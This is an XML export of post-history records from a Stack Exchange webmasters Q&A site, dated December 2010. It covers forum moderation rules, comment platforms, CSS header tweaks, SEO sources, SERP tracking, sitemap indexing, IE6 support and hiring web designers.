  <row Id="12868" PostHistoryTypeId="3" PostId="6442" RevisionGUID="2519a90f-dd6d-4c0c-9277-14ee4ebb0c4f" CreationDate="2010-12-07T18:26:30.833" UserId="3142" Text="&lt;seo&gt;" />
  <row Id="12869" PostHistoryTypeId="5" PostId="6420" RevisionGUID="da95283a-09d1-4a65-9c7a-e46cbc780f11" CreationDate="2010-12-07T18:38:47.147" UserId="1253" Comment="Changed &quot;don't be a dick&quot; to &quot;don't be a jerk&quot;" Text="I tend to use as few rules as possible. The more rules and the stricter the rules, the more people will try and bend them. The ones I usually use are in the lines of:&#xD;&#xA;&#xD;&#xA;1. Use common sense&#xD;&#xA;2. Don't be a jerk&#xD;&#xA;3. Report misbehaviour to the staff&#xD;&#xA;3. If we *really* can't work something out, admin's word rules&#xD;&#xA;&#xD;&#xA;That way you get to look at each case separately. In my experience some users may have a reputation that will allow them to get away with more than others, in some cases offtopic isn't that bad at all, etc. By treating each issue this way users won't be able to hold pretty little rules against you and as long as you're not being a tyrant and let people speak their minds rules like these generally create an open atmosphere. If everything else fails, rule 4 lets you have the last word, but you shouldn't need it very often." />
  <row Id="12870" PostHistoryTypeId="16" PostId="6442" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-07T19:00:22.260" UserId="180" />
  <row Id="12871" PostHistoryTypeId="16" PostId="6437" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-07T19:03:22.053" UserId="180" />
  <row Id="12872" PostHistoryTypeId="16" PostId="6438" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-07T19:03:22.053" UserId="180" />
  <row Id="12873" PostHistoryTypeId="16" PostId="6435" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-12-07T19:03:22.053" UserId="180" />
  <row Id="12874" PostHistoryTypeId="2" PostId="6443" RevisionGUID="0fb49016-1cd0-49a7-b8fe-aa44b9522e0e" CreationDate="2010-12-07T19:14:55.710" UserId="3428" Text="What analogs of Disqus for comments do you know?" />
  <row Id="12875" PostHistoryTypeId="1" PostId="6443" RevisionGUID="0fb49016-1cd0-49a7-b8fe-aa44b9522e0e" CreationDate="2010-12-07T19:14:55.710" UserId="3428" Text="Disqus analogs? (comments platforms)" />
  <row Id="12876" PostHistoryTypeId="3" PostId="6443" RevisionGUID="0fb49016-1cd0-49a7-b8fe-aa44b9522e0e" CreationDate="2010-12-07T19:14:55.710" UserId="3428" Text="&lt;javascript&gt;&lt;comments&gt;&lt;system&gt;" />
  <row Id="12877" PostHistoryTypeId="2" PostId="6444" RevisionGUID="c9e999f8-61aa-459f-ae00-8e4014f2b86a" CreationDate="2010-12-07T19:28:23.330" UserId="1737" Text="Several of the new StackExchange sites have rather *large* site headers, and some people have asked if it could be changed, to improve usability on small devices. Although I'm not a CSS guru, it *seems* to me that this could easily be fixed with a custom user stylesheet given to the browser, and I've been playing around with it. So far, with no success. :) &#xD;&#xA;&#xD;&#xA;To explain precisely what I'd like to do in CSS, I'd like to:  &#xD;&#xA;&#xD;&#xA;  - Remove or shrink the giant logo (for instance, on this page, the planet/electrons and the word &quot;Pro Webmasters&quot;&#xD;&#xA;  - Move up the buttons (&quot;questions/tags/users, etc&quot;) to the top edge.&#xD;&#xA;&#xD;&#xA;**Before**:  &#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;**After**:  &#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;Note that I also moved the &quot;ask questions&quot; button left, so it would be visible without scrolling. That I managed to figure out, but unfortunately not the rest. I *think* it would involve these elements:&#xD;&#xA;&#xD;&#xA;    #header {&#xD;&#xA;    	&lt;!-- what goes here? --&gt;&#xD;&#xA;    }&#xD;&#xA;    #header #hmenus {&#xD;&#xA;    	&lt;!-- what goes here? --&gt;&#xD;&#xA;    }&#xD;&#xA;    .nav { float: left !important; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/7Xpxq.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/7eddm.png&#xD;&#xA;" />
  <row Id="12878" PostHistoryTypeId="1" PostId="6444" RevisionGUID="c9e999f8-61aa-459f-ae00-8e4014f2b86a" CreationDate="2010-12-07T19:28:23.330" UserId="1737" Text="CSS to remove the giant SE site headers?" />
  <row Id="12879" PostHistoryTypeId="3" PostId="6444" RevisionGUID="c9e999f8-61aa-459f-ae00-8e4014f2b86a" CreationDate="2010-12-07T19:28:23.330" UserId="1737" Text="&lt;css&gt;" />
  <row Id="12880" PostHistoryTypeId="2" PostId="6445" RevisionGUID="530685f8-1393-4cd8-984e-89ea2a8efa42" CreationDate="2010-12-07T19:30:49.113" UserId="1064" Text="&gt; Notable SEO service providers, such as&#xD;&#xA;&gt; [Rand Fishkin][1], [Barry Schwartz][2], [Aaron Wall][3] and [Jill Whalen][4], have studied&#xD;&#xA;&gt; different approaches to search engine&#xD;&#xA;&gt; optimization, and have published their&#xD;&#xA;&gt; opinions in online forums and blogs.&#xD;&#xA;&#xD;&#xA;- [Search engine optimization][5] @Wikipedia&#xD;&#xA;&#xD;&#xA;While I don't follow any of those listed closely enough to suggest that they consistently provide the kind of testing, statistics, and other evidence you'd like, I would definitely give credit to SEOmoz.org for the development of a crawler-emulator ([Open Site Explorer][6]) which provides limited reporting at no cost.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/&#xD;&#xA;  [2]: http://www.seroundtable.com/&#xD;&#xA;  [3]: http://www.seobook.com/&#xD;&#xA;  [4]: http://www.highrankings.com/&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Search_engine_optimization&#xD;&#xA;  [6]: http://www.opensiteexplorer.org/" />
  <row Id="12881" PostHistoryTypeId="10" PostId="6444" RevisionGUID="5076237d-68c7-4bd9-9fc5-ae9766567469" CreationDate="2010-12-07T19:33:38.790" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="12882" PostHistoryTypeId="2" PostId="6446" RevisionGUID="db5e8b42-87db-4898-93b3-2fec67947ff9" CreationDate="2010-12-07T19:37:55.650" UserId="6967" Text="The author of http://www.bluehatseo.com (I can't remember his name at the moment). It's very logical is his posts and argumentations. &#xD;&#xA;&#xD;&#xA;His posts about &quot;Seo Empire&quot; are really loved in some circles, although they are a little bit outdated now." />
  <row Id="12883" PostHistoryTypeId="5" PostId="6265" RevisionGUID="9319b364-b5f6-4c52-bc51-436a1bab5199" CreationDate="2010-12-07T19:41:11.657" UserId="3142" Comment="I started a bounty and added to the question to hopefully inspire new answers" Text="Is there a CSS Framework that tries to provide for business applications, specifically?&#xD;&#xA;&#xD;&#xA;I've looked at the Mocha UI which is based on MooTools. Honestly, though, I'd like to avoid dealing with Javascript and Moo (or jQuery / jQuery UI). I tend to believe that most of what you need for a simple web app can be handled in CSS without the Javascript mods to it.&#xD;&#xA;&#xD;&#xA;Many of the polished CSS is aimed at blogging or web publishing needs that are different from the UI needs of a business app. It seems like this must be a problem that *someone* has solved, but I can't seem to find a solution.&#xD;&#xA;&#xD;&#xA;My hope would be that proposed solutions would be language agnostic (work with PHP, ASP, CF, etc.). However, if there is a framework rooted in a language that handles the UI in a very &quot;finished&quot; sense, then I'd be interested in looking at that, even if it meant adopting a framework that forced the use of a particular server-side language.&#xD;&#xA;&#xD;&#xA;My goal is not to go MVC, just have some nice looking CSS that would fit an application.&#xD;&#xA;&#xD;&#xA;**BOUNTY:** I decided to start a bounty on this question because I think there must be some useful &quot;starting points&quot; (stated minimally) of CSS which are geared toward web apps, with my preference being that they're hopefully:&#xD;&#xA;&#xD;&#xA; 1. platform independent or accomodating&#xD;&#xA;    various dev platforms, and&#xD;&#xA; 2. free or nearly free (as in, not $1000 for a collection of controls)&#xD;&#xA;&#xD;&#xA;**&quot;Inspirational&quot; Example:** (play on words intentional, sorry) I did find a church website development company that published a [Design Patterns Library and Code Standards][1] which is very enticing, but it seems like it's usable only to those who develop church sites using their software as a service (?). Regardless, the CSS and complementary graphics are not out there for public consumption.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.fellowshipone.com/patterns/" />
  <row Id="12884" PostHistoryTypeId="2" PostId="6447" RevisionGUID="eb0f2614-bceb-4d37-a5ca-3c6d4cb752ca" CreationDate="2010-12-07T19:47:53.370" UserId="1253" Text="Chris Beasley is a website publisher who is very successful at SEO. He's been saying things for years that have turned out to be true and accurate (as confirmed by Matt Cutts). His [SEO Guide][1] is what I refer all newbies to to learn SEO. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.websitepublisher.net/seo-guide/" />
  <row Id="12885" PostHistoryTypeId="2" PostId="6448" RevisionGUID="5a7380b8-25b9-48e0-adfd-5d0dd6645acb" CreationDate="2010-12-07T20:12:07.167" UserId="2907" Text="The link you posted worked (no 403). I'm guessing it may not have propigated for you yet. Did you have an index file ready in the directory? I usually only get a 403 if I'm trying to look in something like &quot;/images/&quot; where there's no index.xxx file and I have Apache set to NOT allow directory contents to display." />
  <row Id="12886" PostHistoryTypeId="2" PostId="6449" RevisionGUID="fc036717-c467-4737-b638-0a14eda45bb0" CreationDate="2010-12-07T20:13:51.040" UserId="3453" Text="I know only IntenseDebate." />
  <row Id="12889" PostHistoryTypeId="2" PostId="6450" RevisionGUID="22026d61-654e-48ff-b263-4e81ce8e39a4" CreationDate="2010-12-07T21:11:07.373" UserDisplayName="Steven " Text="[http://www.astorandblack.com/ab/bespokevisualizer/][1] (click on &quot;continue as guest&quot;)&#xD;&#xA;&#xD;&#xA;A client wants this &quot;bespoke visualizer&quot; on their site. Is there a third party plugin I can buy for this? It can be in Flash and/or JavaScript, it doesn't matter. Also, if there's no third-party plugin that's similar to this web app, then how could I code this from scratch?&#xD;&#xA;&#xD;&#xA;Thanks, &#xD;&#xA;&#xD;&#xA;Steven &#xD;&#xA;&#xD;&#xA;  [1]: http://www.astorandblack.com/ab/bespokevisualizer/ " />
  <row Id="12890" PostHistoryTypeId="1" PostId="6450" RevisionGUID="22026d61-654e-48ff-b263-4e81ce8e39a4" CreationDate="2010-12-07T21:11:07.373" UserDisplayName="Steven " Text="How can i replicated this functionality? " />
  <row Id="12891" PostHistoryTypeId="3" PostId="6450" RevisionGUID="22026d61-654e-48ff-b263-4e81ce8e39a4" CreationDate="2010-12-07T21:11:07.373" UserDisplayName="Steven " Text="&lt;javascript&gt;&lt;flash&gt;" />
  <row Id="12895" PostHistoryTypeId="2" PostId="6452" RevisionGUID="62cfebb9-b8a0-4f20-a99f-dd1828b88375" CreationDate="2010-12-07T21:57:51.577" UserId="1955" Text="In Google Analytics i can see that people have reach my website after search on a specific keyword. How can i check the results page number where my website appears." />
  <row Id="12896" PostHistoryTypeId="1" PostId="6452" RevisionGUID="62cfebb9-b8a0-4f20-a99f-dd1828b88375" CreationDate="2010-12-07T21:57:51.577" UserId="1955" Text="How to track my site position in SERP based on keyword" />
  <row Id="12897" PostHistoryTypeId="3" PostId="6452" RevisionGUID="62cfebb9-b8a0-4f20-a99f-dd1828b88375" CreationDate="2010-12-07T21:57:51.577" UserId="1955" Text="&lt;seo&gt;&lt;google-analytics&gt;&lt;keywords&gt;&lt;serps&gt;" />
  <row Id="12898" PostHistoryTypeId="2" PostId="6453" RevisionGUID="291f09c1-6fed-4760-9a94-ac8ad1e81918" CreationDate="2010-12-07T22:01:33.057" UserId="1253" Text="[There are lots of tools available for this][1]. [Free Monitor For Google][2] is very basic and doesn't have a lot of the fluff others have so if you like simple it's worth checking out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=seo+rank+checker+software&#xD;&#xA;  [2]: http://www.cleverstat.com/en/google-monitor-query.htm" />
  <row Id="12902" PostHistoryTypeId="2" PostId="6454" RevisionGUID="854bf5c0-030a-453c-96b9-29a1acc34141" CreationDate="2010-12-07T22:37:44.117" UserId="3552" Text="Our sitemap has something like 10 million pages:&#xD;&#xA;&#xD;&#xA;This is the data in the webmaster tools:&#xD;&#xA;&#xD;&#xA;Submitted URLs&#xD;&#xA;10,873,781&#xD;&#xA;2 URLs in web index.&#xD;&#xA;&#xD;&#xA;This is a big difference and an incorrect statement, since millions of our pages are in Google's index.&#xD;&#xA;&#xD;&#xA;The sitemap files are valid and the google status flag shows that the sitemaps are fine.&#xD;&#xA;&#xD;&#xA;When we asked Google about it they said that all our URLs ending in index.html caused the sitemap configuration to report wrongly.&#xD;&#xA;&#xD;&#xA;Is the statement about the urls ending in index.html true? Does anybody have the same experience that ending in index.html causes the webmaster tools to report incorrectly?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12903" PostHistoryTypeId="1" PostId="6454" RevisionGUID="854bf5c0-030a-453c-96b9-29a1acc34141" CreationDate="2010-12-07T22:37:44.117" UserId="3552" Text="Sitemap contains a lot of products and web index contains a few according to Google webmaster tools" />
  <row Id="12904" PostHistoryTypeId="3" PostId="6454" RevisionGUID="854bf5c0-030a-453c-96b9-29a1acc34141" CreationDate="2010-12-07T22:37:44.117" UserId="3552" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap&gt;" />
  <row Id="12905" PostHistoryTypeId="2" PostId="6455" RevisionGUID="633ec3c1-29f5-4ddc-8685-1dbca95310a9" CreationDate="2010-12-07T22:52:40.313" UserId="1064" Text="[Google Webmaster Tools][1] provides this functionality (along with the ability to see how you rank at localized Google domains, in image search, et cetera) with an approximate SERP rank as well as a percentage-based change in rank indicator for the timeframe you specify within the last 30 days.&#xD;&#xA;&#xD;&#xA;Log in and go to &quot;Your site on the web&quot; &gt; &quot;Search queries&quot; - the data you're looking for will be under the &quot;Avg. position&quot; and &quot;Change&quot; columns.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home?hl=en" />
  <row Id="12906" PostHistoryTypeId="5" PostId="6455" RevisionGUID="49cca71d-32cf-4fcc-b5fa-c20396a42f12" CreationDate="2010-12-07T22:59:10.197" UserId="1064" Comment="Qualified response for specific keyword research" Text="[Google Webmaster Tools][1] provides this functionality (along with the ability to see how you rank at localized Google domains, in image search, et cetera) with an approximate SERP rank as well as a percentage-based change in rank indicator for the timeframe you specify within the last 30 days.&#xD;&#xA;&#xD;&#xA;Log in and go to &quot;Your site on the web&quot; &gt; &quot;Search queries&quot; - the data you're looking for will be under the &quot;Avg. position&quot; and &quot;Change&quot; columns.&#xD;&#xA;&#xD;&#xA;**Edit:** Given that you are looking for an exact keyword, I should qualify that recommendation - you may need to switch from &quot;Queries with more than 10 impressions and clicks&quot; to &quot;All queries&quot; (and then search the text on the page) to get the data you're looking for unless Google is automatically hiding data for the keyword (as will happen if you have thousands of keywords with clicks and impressions).&#xD;&#xA;&#xD;&#xA;Note that the tables generated with Google Webmaster Tools can be exported in a variety of formats to aid in tracking your optimization efforts.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home?hl=en" />
  <row Id="12907" PostHistoryTypeId="2" PostId="6456" RevisionGUID="bbc5d342-776a-4171-ae65-b3f891a6e52d" CreationDate="2010-12-08T00:38:05.273" UserDisplayName="Thenayr" Text="Check out [SEscout - SERP tracker][1].  It provides hourly updates, reporting features, notifications and a lot more.  My favorite SERP tracker thus far.  The free account allows for 10 keywords at no cost.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://users.sescout.com/upgrades/subscriptions?invite=u99ez34" />
  <row Id="12908" PostHistoryTypeId="2" PostId="6457" RevisionGUID="4b0e9c9d-8afd-4fad-bea2-409d9b121c30" CreationDate="2010-12-08T04:32:48.390" UserId="3514" Text="You can't do it. Well, you can't do it for everyone.&#xD;&#xA;&#xD;&#xA;Simply put, Google Sites is meant to be a really simple and easy to use product with limited customization. It's not made for you to be able to make really powerful websites, it's made to give you an easy and quick website.&#xD;&#xA;&#xD;&#xA;If you want to change it, there are options for yourself like a userstyle for your browser, but that won't change it for everyone.&#xD;&#xA;&#xD;&#xA;If you want something more customizable, I would suggest moving to &lt;a href=&quot;http://wordpress.com&quot;&gt;WordPress&lt;/a&gt;" />
  <row Id="12909" PostHistoryTypeId="5" PostId="6317" RevisionGUID="972bb942-ac13-4875-9ad4-cc72d67ea653" CreationDate="2010-12-08T04:47:50.760" UserId="2027" Comment="added 95 characters in body" Text="I have current blog, which was hosted on Tumblr at http://blog.ryanhayes.net.  I'm moving it over to http://ryanhayes.net, and have all the 301 redirects set up for the blog entries to map to my new blog, which is hosted using Godaddy (domain included).  When I try to set up a subdomain forward, I'm greeted with a nice 403 Forbidden response (as of this writing, you can see it at http://blog.ryanhayes.net.  When I try to ping both the subdomain and domain, they point to the same IP address, so I know blog subdomain has at least switched over to point to the same content.  I don't really understand why I would get a 403 Forbidden on the same content that I can see perfectly fine via another domain.&#xD;&#xA;&#xD;&#xA;Currently, I have a **CNAME of blog pointing to @**, which is how &quot;www&quot; is set up to forward, so I'm assuming it would do the same thing.&#xD;&#xA;&#xD;&#xA;My question is what is the proper way to set up my DNS to make the blog subdomain forward to my main domain (301) using the GoDaddy DNS manager?&#xD;&#xA;&#xD;&#xA;Bonus: What is the background on why I am getting a 403 error the current way?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Forbidden&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;You don't have permission to access / on this server.&#xD;&#xA;Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.&#xD;&#xA;&#xD;&#xA;## UPDATE 12/7/2010 ##&#xD;&#xA;Error on site has been fixed, you can no longer view it from my site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12910" PostHistoryTypeId="2" PostId="6458" RevisionGUID="563a5b29-e133-48b8-bf05-75e2ea788b13" CreationDate="2010-12-08T05:50:40.760" UserId="2332" Text="I would like to make a page **on my site** that shows an embedded video player for **each** video in a certain YouTube channel.  (I don't want to just link to YouTube's page for that channel)  Preferably I would like some control over presentation.  What's the best way to do this?  If server programming is necessary, I would be most comfortable with a Perl solution but would be open to PHP, etc." />
  <row Id="12911" PostHistoryTypeId="1" PostId="6458" RevisionGUID="563a5b29-e133-48b8-bf05-75e2ea788b13" CreationDate="2010-12-08T05:50:40.760" UserId="2332" Text="Present my all videos from a certain YouTube channel" />
  <row Id="12912" PostHistoryTypeId="3" PostId="6458" RevisionGUID="563a5b29-e133-48b8-bf05-75e2ea788b13" CreationDate="2010-12-08T05:50:40.760" UserId="2332" Text="&lt;video&gt;" />
  <row Id="12913" PostHistoryTypeId="2" PostId="6460" RevisionGUID="caaacdae-7b5a-47f6-9f4b-33b9c0258e2f" CreationDate="2010-12-08T06:11:44.450" UserDisplayName="vr3690" Text="Both will be treated differently. How can the same page have different content?" />
  <row Id="12914" PostHistoryTypeId="2" PostId="6459" RevisionGUID="1c4c8a43-97d4-4ee5-a208-08969af7ff9d" CreationDate="2010-12-08T06:07:03.340" UserDisplayName="Imran Khan" Text=" how will google treat yoursite.com/page?a=1 and yoursite.com/page?a=2 will it treat them different or same url.&#xD;&#xA;Or is there any solution i want google to treat same page but with different content. All though the meta tag will be same. " />
  <row Id="12915" PostHistoryTypeId="1" PostId="6459" RevisionGUID="1c4c8a43-97d4-4ee5-a208-08969af7ff9d" CreationDate="2010-12-08T06:07:03.340" UserDisplayName="Imran Khan" Text=" how will google treat http://yoursite.com/page?a=1 and http://yoursite.com/page?a=2 will it treat them different? " />
  <row Id="12916" PostHistoryTypeId="3" PostId="6459" RevisionGUID="1c4c8a43-97d4-4ee5-a208-08969af7ff9d" CreationDate="2010-12-08T06:07:03.340" UserDisplayName="Imran Khan" Text="&lt;url&gt;&lt;google&gt;" />
  <row Id="12917" PostHistoryTypeId="17" PostId="6459" RevisionGUID="757bc225-9a00-4276-a6ec-1ba42a7cff48" CreationDate="2010-12-08T06:23:05.557" UserId="-1" Comment="from http://stackoverflow.com/questions/4384673/how-will-google-treat-http-yoursite-com-pagea1-and-http-yoursite-com-page" Text="" />
  <row Id="12918" PostHistoryTypeId="2" PostId="6461" RevisionGUID="7311c5fb-28f2-4e77-bf09-127337f4384a" CreationDate="2010-12-08T07:43:00.337" UserDisplayName="Chris" Text="Im looking for a bit of advice ... I have been developing websites for quite sometime now, and i have now come to the stage where i want to run things properly, i am trying to put together a proper workflow for my projects. i have come up with the following and would love any feedback or additions i havent added.&#xD;&#xA;&#xD;&#xA;1. Discovery and Research&#xD;&#xA;2. Information Architecture&#xD;&#xA;3. Interaction Design&#xD;&#xA;4. Visual Design&#xD;&#xA;5. Site Development&#xD;&#xA;6. Quality Assurance&#xD;&#xA;7. Launch, Wine and Cheese&#xD;&#xA;&#xD;&#xA;Cheers," />
  <row Id="12919" PostHistoryTypeId="1" PostId="6461" RevisionGUID="7311c5fb-28f2-4e77-bf09-127337f4384a" CreationDate="2010-12-08T07:43:00.337" UserDisplayName="Chris" Text="Development Pipeline / Phases" />
  <row Id="12920" PostHistoryTypeId="3" PostId="6461" RevisionGUID="7311c5fb-28f2-4e77-bf09-127337f4384a" CreationDate="2010-12-08T07:43:00.337" UserDisplayName="Chris" Text="&lt;web-development&gt;" />
  <row Id="12921" PostHistoryTypeId="2" PostId="6462" RevisionGUID="d300c1e2-e9ff-4d65-b459-6305eb6a3a7f" CreationDate="2010-12-08T08:14:33.640" UserId="3653" Text="Both will be treated differently as it is a different URL. You will also come across duplicate meta tags if you have exactly the same tags!" />
  <row Id="12922" PostHistoryTypeId="2" PostId="6463" RevisionGUID="5f962109-7927-4eef-830e-2346011224ba" CreationDate="2010-12-08T08:51:45.740" UserId="1955" Text="Your current development line is quite good. My only advice is to sit down with the client and put real site data while doing stage 3. This will make your life easier in the future development and the client will be almost able to see how exactly data will look on the site." />
  <row Id="12923" PostHistoryTypeId="2" PostId="6464" RevisionGUID="8d22679a-cb59-47d2-a2d5-3afa665e7573" CreationDate="2010-12-08T08:55:32.880" UserId="1955" Text="I think you have to check -&gt; http://code.google.com/apis/youtube/2.0/developers_guide_protocol_audience.html&#xD;&#xA;&#xD;&#xA;For me there is no need from server side support, haven`t go deep in the API but I think the JavaScript will be enough for you." />
  <row Id="12924" PostHistoryTypeId="2" PostId="6465" RevisionGUID="7b721496-7d8d-4dae-aee7-0bd481920d9a" CreationDate="2010-12-08T08:59:05.470" UserId="1089" Text="Something I read recently which perked my eyes and ears, if the site has any possibilty of appealing to China? &#xD;&#xA;&#xD;&#xA;[&quot;According to data from Web analytics firm Net Applications, 45.2% of China's Internet users still rely on IE6.&quot;][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.computerworld.com/s/article/9199519/Microsoft_s_China_problem_means_IE6_lives_on" />
  <row Id="12925" PostHistoryTypeId="2" PostId="6466" RevisionGUID="cf3fe1a9-3447-4f5f-b2be-bce2dc86f1c1" CreationDate="2010-12-08T09:28:05.910" UserId="1955" Text="Google is aware of get parameters so it will treat them as two separate pages. This means that you also need to provide different content do avoid duplicate content penalty.&#xD;&#xA;&#xD;&#xA;Despite that they will be treated differently I will advice you to user pretty/seo friendly URLs." />
  <row Id="12926" PostHistoryTypeId="2" PostId="6467" RevisionGUID="ac47882f-6d56-4f8f-9824-57f82e29c528" CreationDate="2010-12-08T09:54:11.410" UserId="3718" Text="What I've always thought was that you need to take in to account your target audience. If your users still use IE6, then you can't freeze these guys out. As sad as it is, IE6 is still there and still being used.&#xD;&#xA;&#xD;&#xA;One thing you can do (and this is something Opera do on their websites), is you could display a message if the website is being viewed in IE6, basically saying they should upgrade their browser or use an alternative.&#xD;&#xA;&#xD;&#xA;Another option available is to have your website &quot;gracefully degrade&quot; itself. Basically the site will have the same layout, but all the bells and whistles won't be displayed in IE6. If these users are viewing your website in IE6, there's a good chance they won't look at your website in any other browser, so they won't know it looks any different in other browsers. If they do look at your site in a different browser, then they'll think &quot;Oh well the site works better in Firefox, I won't use IE6 on it again&quot;." />
  <row Id="12927" PostHistoryTypeId="2" PostId="6468" RevisionGUID="78de9474-b18c-4dc1-a28e-490850f95941" CreationDate="2010-12-08T10:16:02.283" UserId="3467" Text="I know there's not a cut-and-dried answer to questions like these, but there might be some guidelines I should be thinking of and it may help others as well. The case is as following:&#xD;&#xA;&#xD;&#xA;I run a wiki community with a few thousand articles, and I may want to have it re-designed in the near future. Currently it looks pretty okay but there's a lot to improve especially when it comes to usability and a consistent style. Pre-fab designs are almost never what I'm looking for, especially because the website is so content-driven and focus must lie on good readability of the articles without losing the thematics of the subject (a rock band). Imagery and a certain dark style are very important with this band, so a good balance between readability and style will almost certainly have to be a custom job by someone who knows about these things.&#xD;&#xA;&#xD;&#xA;The current implementation counts two basic pages (main page and article pages) and some variants like article edit pages, user settings etc which are mainly article pages with some extra elements. Apart from this the article contents can have so many kinds of elements (infoboxes, templates for different kinds of related content, etc) these will have to be designed too.&#xD;&#xA;&#xD;&#xA;What should I look for when searching for a designer? What are good price indications, how can I tell if the designer knows about usability and can deliver what I want? Can I ask him to give me a first draft (for a small payment of course) to see if he fits the bill?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12928" PostHistoryTypeId="1" PostId="6468" RevisionGUID="78de9474-b18c-4dc1-a28e-490850f95941" CreationDate="2010-12-08T10:16:02.283" UserId="3467" Text="What should I keep in mind when looking for a designer?" />
  <row Id="12929" PostHistoryTypeId="3" PostId="6468" RevisionGUID="78de9474-b18c-4dc1-a28e-490850f95941" CreationDate="2010-12-08T10:16:02.283" UserId="3467" Text="&lt;website-design&gt;" />
  <row Id="12930" PostHistoryTypeId="2" PostId="6469" RevisionGUID="62b4a78a-394f-4f6e-89be-5729e5cd30ad" CreationDate="2010-12-08T10:24:22.647" UserId="711" Text="These are different URLs, so Google (and all other search engines that I'm aware of) will treat them as two different URLs. If you're showing the same content on those pages, Google will generally notice that they're identical and only show one of them in the search results. If they're not showing the same content, they'll generally be treated the same as any other independent pages on your site. " />
  <row Id="12931" PostHistoryTypeId="2" PostId="6470" RevisionGUID="f0a61205-822e-4090-b8aa-b8725eb51e53" CreationDate="2010-12-08T10:33:27.867" UserId="711" Text="It's hard to say without knowing the URL... However, assuming that all of your URLs end with &quot;/index.html&quot; it is possible that you are seeing a quirk based on the way Sitemaps processes URLs. In general, Google removes the &quot;index.html&quot; from the URL, if it appears that it is redundant, before checking the indexed URL count. For most websites, that's the desired way: while they generally allow both &quot;/&quot; and &quot;/index.html&quot;, for users it generally makes sense to just keep the shorter version indexed. So if your website requires &quot;/index.html&quot; at the end of the URLs, and is indexed like that appropriately, then it is likely that the indexed URL count based on Sitemaps will not be correct. &#xD;&#xA;&#xD;&#xA;In general, I'd recommend using URLs without redundant information (such as &quot;/index.html&quot; where &quot;/&quot; would be sufficient). However, I know that this is not always easily possible for all CMS that are in use... If that applies to your site, then I would recommend reviewing that decision the next time you work on a redesign, but I don't think you'd have to change anything urgently just for a better indexed URL count." />
  <row Id="12932" PostHistoryTypeId="2" PostId="6471" RevisionGUID="0337f234-44e7-46f7-8677-3e4c331d8d0d" CreationDate="2010-12-08T10:45:51.047" UserId="221" Text="Judging by your question, on thing to keep firmly in mind is the difference between a designer that focuses on general website design (user experience) and a graphic designer.&#xD;&#xA;&#xD;&#xA;It is a very common mistake to hire a graphic designer to redo an existing site. Typically, while the new look will feel fresh, a graphic designer will not be able to greatly improve the overall user experience (that is simply not their job).&#xD;&#xA;&#xD;&#xA;There are of course individuals that can do both tasks, but those are not common in my experience. I would for instance maintain that I'm a decent website designer but I lack all talent for graphic design. Thus I tend to bring in a graphic designer 'to make it look pretty'.&#xD;&#xA;&#xD;&#xA;So if you just want to redo the graphics, hire a graphic designer. But if you want to improve the usability of the site make sure that you are not (only) hiring a graphic designer." />
  <row Id="12933" PostHistoryTypeId="2" PostId="6472" RevisionGUID="9acb68f6-4e4e-40ab-96d7-001f93655e15" CreationDate="2010-12-08T10:54:19.257" UserId="221" Text="For browser that are considered &quot;current&quot; (most recent release of a browser that is still actively supported), we try to ensure that our sites always work. We do not, however, test in browsers that have less than 10% of our traffic (in practice this means testing in latest versions of IE, Firefox and Chrome).&#xD;&#xA;&#xD;&#xA;For older versions, once the total share goes under 10% we stop caring if everything looks perfect, but we still want it to work. (Unfortunately, IE6 still falls in this category)&#xD;&#xA;&#xD;&#xA;Under 5% and we want it to work but only if it doesn't entail significant additional work for us (else recommend upgrading). Layout issues are entirely ignored if they do not impede functionality.&#xD;&#xA;&#xD;&#xA;Under 2% and we consider it as being &quot;not supported&quot; and recommend people upgrade if there are complaints." />
  <row Id="12934" PostHistoryTypeId="5" PostId="6437" RevisionGUID="724681cd-77a0-495e-a36c-de5278649312" CreationDate="2010-12-08T11:45:21.113" UserId="2293" Comment="added 564 characters in body" Text="This is technical-semantic question.&#xD;&#xA;&#xD;&#xA;Software is a product. You can pack it (copy to a CD or a pen drive), ship it (once packed), you can provide assistence, maintenance, recalls, guarantee... So, yeah, it is a product.&#xD;&#xA;&#xD;&#xA;But it can be a service. One can hire your service to make a task (a website for example, or change/implement just a functionality on a existing software).&#xD;&#xA;&#xD;&#xA;Labeling as product or service depends exclusively on how and what you sell and tackle it.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;About design (elements composition and layout, colors and fonts choosing, stock images, illustrations)... It also depends on the POV.&#xD;&#xA;&#xD;&#xA;What are you designing? How are you selling it? Implementing it?&#xD;&#xA;&#xD;&#xA;The final product usually is a product (a jpg file, a web page layout, a banner, a brand manual...). But what if you stand as a service provider? Retouching images, masterizing a video, conducting usability tests that leads to layout changes on a web page. These are examples on how design can be offered much more as a service than a product." />
